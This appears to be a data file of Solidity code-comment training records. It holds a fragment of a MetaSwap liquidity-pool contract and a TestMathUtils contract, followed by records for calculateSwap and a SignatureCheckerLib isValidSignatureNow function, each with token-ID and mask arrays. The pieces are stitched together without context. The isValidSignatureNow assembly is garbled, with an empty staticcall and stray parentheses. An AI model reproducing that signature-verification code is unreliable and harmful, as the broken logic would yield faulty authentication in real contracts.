metaSwapStorage.baseCacheLastUpdated = block.timestamp; // Read all tokens that belong to baseSwap { uint8 i; for (; i < 32; i++) { try baseSwap.getToken(i) returns (IERC20 token) { metaSwapStorage.baseTokens.push(token); token.safeApprove(address(baseSwap), MAX_UINT256); } catch { break; } } require(i > 1, "baseSwap must pool at least 2 tokens"); } // Check the last element of _pooledTokens is owned by baseSwap IERC20 baseLPToken = _pooledTokens[_pooledTokens.length - 1]; require( LPToken(address(baseLPToken)).owner() == address(baseSwap), "baseLPToken is not owned by baseSwap" ); // Pre-approve the baseLPToken to be used by baseSwap baseLPToken.safeApprove(address(baseSwap), MAX_UINT256); } /** * @notice Swap two tokens using this pool * @param tokenIndexFrom the token the user wants to swap from * @param tokenIndexTo the token the user wants to swap to * @param dx the amount of tokens the user wants to swap from * @param minDy the min amount the user would like to receive, or revert. * @param deadline latest timestamp to accept this transaction */ function swap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy, uint256 deadline ) external virtual override nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return MetaSwapUtils.swap( swapStorage, metaSwapStorage, tokenIndexFrom, tokenIndexTo, dx, minDy ); } /** * @notice Swap two tokens using this pool and the base pool. * @param tokenIndexFrom the token the user wants to swap from * @param tokenIndexTo the token the user wants to swap to * @param dx the amount of tokens the user wants to swap from * @param minDy the min amount the user would like to receive, or revert. * @param deadline latest timestamp to accept this transaction */ function swapUnderlying( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx, uint256 minDy, uint256 deadline ) external virtual nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return MetaSwapUtils.swapUnderlying( swapStorage, metaSwapStorage, tokenIndexFrom, tokenIndexTo, dx, minDy ); } /** * @notice Add liquidity to the pool with the given amounts of tokens * @param amounts the amounts of each token to add, in their native precision * @param minToMint the minimum LP tokens adding this amount of liquidity * should mint, otherwise revert. Handy for front-running mitigation * @param deadline latest timestamp to accept this transaction * @return amount of LP token user minted and received */ function addLiquidity( uint256[] calldata amounts, uint256 minToMint, uint256 deadline ) external virtual override nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return MetaSwapUtils.addLiquidity( swapStorage, metaSwapStorage, amounts, minToMint ); } /** * @notice Remove liquidity from the pool all in one token. Withdraw fee that decays linearly * over period of 4 weeks since last deposit will apply. * @param tokenAmount the amount of the token you want to receive * @param tokenIndex the index of the token you want to receive * @param minAmount the minimum amount to withdraw, otherwise revert * @param deadline latest timestamp to accept this transaction * @return amount of chosen token user received */ function removeLiquidityOneToken( uint256 tokenAmount, uint8 tokenIndex, uint256 minAmount, uint256 deadline ) external virtual override nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return MetaSwapUtils.removeLiquidityOneToken( swapStorage, metaSwapStorage, tokenAmount, tokenIndex, minAmount ); } /** * @notice Remove liquidity from the pool, weighted differently than the * pool's current balances. Withdraw fee that decays linearly * over period of 4 weeks since last deposit will apply. * @param amounts how much of each token to withdraw * @param maxBurnAmount the max LP token provider is willing to pay to * remove liquidity. Useful as a front-running mitigation. * @param deadline latest timestamp to accept this transaction * @return amount of LP tokens burned */ function removeLiquidityImbalance( uint256[] calldata amounts, uint256 maxBurnAmount, uint256 deadline ) external virtual override nonReentrant whenNotPaused deadlineCheck(deadline) returns (uint256) { return MetaSwapUtils.removeLiquidityImbalance( swapStorage, metaSwapStorage, amounts, maxBurnAmount ); } } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "../../MathUtils.sol"; contract TestMathUtils { using MathUtils for uint256; function difference(uint256 a, uint256 b) public pure returns (uint256) { return a.difference(b); } function within1(uint256 a, uint256 b) public pure returns (bool) { return a.within1(b); } }
* @notice Calculate amount of tokens you receive on swap @param tokenIndexFrom the token the user wants to sell @param tokenIndexTo the token the user wants to buy @param dx the amount of tokens the user wants to sell. If the token charges a fee on transfers, use the amount that gets transferred after the fee. @return amount of tokens the user will receive/
function calculateSwap( uint8 tokenIndexFrom, uint8 tokenIndexTo, uint256 dx ) external view returns (uint256) { return swapStorage.calculateSwap(tokenIndexFrom, tokenIndexTo, dx); }
970,660
[ 1, 8695, 3844, 434, 2430, 1846, 6798, 603, 7720, 225, 1147, 1016, 1265, 326, 1147, 326, 729, 14805, 358, 357, 80, 225, 1147, 1016, 774, 326, 1147, 326, 729, 14805, 358, 30143, 225, 6633, 326, 3844, 434, 2430, 326, 729, 14805, 358, 357, 80, 18, 971, 326, 1147, 1149, 2852, 279, 14036, 603, 29375, 16, 999, 326, 3844, 716, 5571, 906, 4193, 1839, 326, 14036, 18, 327, 3844, 434, 2430, 326, 729, 903, 6798, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4604, 12521, 12, 203, 3639, 2254, 28, 1147, 1016, 1265, 16, 203, 3639, 2254, 28, 1147, 1016, 774, 16, 203, 3639, 2254, 5034, 6633, 203, 565, 262, 3903, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 327, 7720, 3245, 18, 11162, 12521, 12, 2316, 1016, 1265, 16, 1147, 1016, 774, 16, 6633, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x0000000000aec84F5BFc2af15EAfb943bf4e3522/sources/lib/solady/src/utils/SignatureCheckerLib.sol
@solidity memory-safe-assembly Clean the upper 96 bits of `signer` in case they are dirty. `returndatasize()` will be `0x20` upon success, and `0x00` otherwise.
function isValidSignatureNow(address signer, bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal view returns (bool isValid) assembly { let m := mload(0x40) mstore(0x00, hash) let t := staticcall( ) if iszero(or(iszero(returndatasize()), xor(signer, mload(t)))) { isValid := 1 break } let f := shl(224, 0x1626ba7e) mstore(add(m, 0x04), hash) let d := add(m, 0x24) ) ) break }
4,875,417
[ 1, 36, 30205, 560, 3778, 17, 4626, 17, 28050, 9645, 326, 3854, 19332, 4125, 434, 1375, 2977, 264, 68, 316, 648, 2898, 854, 9603, 18, 1375, 2463, 13178, 554, 20338, 903, 506, 1375, 20, 92, 3462, 68, 12318, 2216, 16, 471, 1375, 20, 92, 713, 68, 3541, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4908, 5374, 8674, 12, 2867, 10363, 16, 1731, 1578, 1651, 16, 2254, 28, 331, 16, 1731, 1578, 436, 16, 1731, 1578, 272, 13, 203, 3639, 2713, 203, 3639, 1476, 203, 3639, 1135, 261, 6430, 4908, 13, 203, 3639, 19931, 288, 203, 7734, 2231, 312, 519, 312, 945, 12, 20, 92, 7132, 13, 203, 7734, 312, 2233, 12, 20, 92, 713, 16, 1651, 13, 203, 7734, 2231, 268, 519, 203, 10792, 760, 1991, 12, 203, 10792, 262, 203, 7734, 309, 353, 7124, 12, 280, 12, 291, 7124, 12, 2463, 13178, 554, 1435, 3631, 17586, 12, 2977, 264, 16, 312, 945, 12, 88, 3719, 3719, 288, 203, 10792, 4908, 519, 404, 203, 10792, 898, 203, 7734, 289, 203, 203, 7734, 2231, 284, 519, 699, 80, 12, 23622, 16, 374, 92, 2313, 5558, 12124, 27, 73, 13, 203, 7734, 312, 2233, 12, 1289, 12, 81, 16, 374, 92, 3028, 3631, 1651, 13, 203, 7734, 2231, 302, 519, 527, 12, 81, 16, 374, 92, 3247, 13, 203, 10792, 262, 203, 7734, 262, 203, 7734, 898, 203, 5411, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]